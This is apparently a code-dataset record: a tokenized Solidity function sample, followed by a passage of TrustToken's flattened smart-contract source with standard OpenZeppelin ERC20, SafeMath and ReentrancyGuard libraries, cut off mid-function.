* @notice Returns array of vault addresses associated with the product @param leverage is the leverage of the vaults/
function getVaultAddresses(uint256 leverage) public view returns (address[] memory) { return leverages[leverage].vaultAddresses; }
3,626,765
[ 1, 1356, 526, 434, 9229, 6138, 3627, 598, 326, 3017, 225, 884, 5682, 353, 326, 884, 5682, 434, 326, 9229, 87, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 11031, 3714, 7148, 12, 11890, 5034, 884, 5682, 13, 1071, 1476, 1135, 261, 2867, 8526, 3778, 13, 288, 203, 3639, 327, 884, 502, 1023, 63, 298, 5682, 8009, 26983, 7148, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2021-11-23 */ /* .'''''''''''.. ..''''''''''''''''.. ..'''''''''''''''.. .;;;;;;;;;;;'. .';;;;;;;;;;;;;;;;;;,. .,;;;;;;;;;;;;;;;;;,. .;;;;;;;;;;,. .,;;;;;;;;;;;;;;;;;;;,. .,;;;;;;;;;;;;;;;;;;,. .;;;;;;;;;,. .,;;;;;;;;;;;;;;;;;;;;,. .;;;;;;;;;;;;;;;;;;;;,. ';;;;;;;;'. .';;;;;;;;;;;;;;;;;;;;;;,. .';;;;;;;;;;;;;;;;;;;;;,. ';;;;;,.. .';;;;;;;;;;;;;;;;;;;;;;;,..';;;;;;;;;;;;;;;;;;;;;;,. ...... .';;;;;;;;;;;;;,'''''''''''.,;;;;;;;;;;;;;,'''''''''.. .,;;;;;;;;;;;;;. .,;;;;;;;;;;;;;. .,;;;;;;;;;;;;,. .,;;;;;;;;;;;;,. .,;;;;;;;;;;;;,. .,;;;;;;;;;;;;,. .,;;;;;;;;;;;;,. .;;;;;;;;;;;;;,. ..... .;;;;;;;;;;;;;'. ..';;;;;;;;;;;;;'. .',;;;;,'. .';;;;;;;;;;;;;'. .';;;;;;;;;;;;;;'. .';;;;;;;;;;. .';;;;;;;;;;;;;'. .';;;;;;;;;;;;;;'. .;;;;;;;;;;;,. .,;;;;;;;;;;;;;'...........,;;;;;;;;;;;;;;. .;;;;;;;;;;;,. .,;;;;;;;;;;;;,..,;;;;;;;;;;;;;;;;;;;;;;;,. ..;;;;;;;;;,. .,;;;;;;;;;;;;,. .,;;;;;;;;;;;;;;;;;;;;;;,. .',;;;,,.. .,;;;;;;;;;;;;,. .,;;;;;;;;;;;;;;;;;;;;;,. .... ..',;;;;;;;;,. .,;;;;;;;;;;;;;;;;;;;;,. ..',;;;;'. .,;;;;;;;;;;;;;;;;;;;'. ...'.. .';;;;;;;;;;;;;;,,,'. ............... */ // https://github.com/trusttoken/smart-contracts // Dependency file: @openzeppelin/contracts/token/ERC20/IERC20.sol // SPDX-License-Identifier: MIT // pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // Dependency file: @openzeppelin/contracts/utils/ReentrancyGuard.sol // pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // Dependency file: @openzeppelin/contracts/math/SafeMath.sol // pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // Dependency file: @openzeppelin/contracts/utils/Address.sol // pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // Dependency file: @openzeppelin/contracts/token/ERC20/SafeERC20.sol // pragma solidity >=0.6.0 <0.8.0; // import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // import "@openzeppelin/contracts/math/SafeMath.sol"; // import "@openzeppelin/contracts/utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // Dependency file: @openzeppelin/contracts/utils/Context.sol // pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // Dependency file: @openzeppelin/contracts/GSN/Context.sol // pragma solidity >=0.6.0 <0.8.0; // import "@openzeppelin/contracts/utils/Context.sol"; // Dependency file: contracts/common/Initializable.sol // Copied from https://github.com/OpenZeppelin/openzeppelin-contracts-ethereum-package/blob/v3.0.0/contracts/Initializable.sol // Added public isInitialized() view of private initialized bool. // pragma solidity 0.6.10; /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } /** * @dev Return true if and only if the contract has been initialized * @return whether the contract has been initialized */ function isInitialized() public view returns (bool) { return initialized; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } // Dependency file: contracts/common/UpgradeableERC20.sol // pragma solidity 0.6.10; // import {Address} from "@openzeppelin/contracts/utils/Address.sol"; // import {Context} from "@openzeppelin/contracts/GSN/Context.sol"; // import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; // import {Initializable} from "contracts/common/Initializable.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Initializable, Context, IERC20 { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ function __ERC20_initialize(string memory name, string memory symbol) internal initializer { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero") ); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = 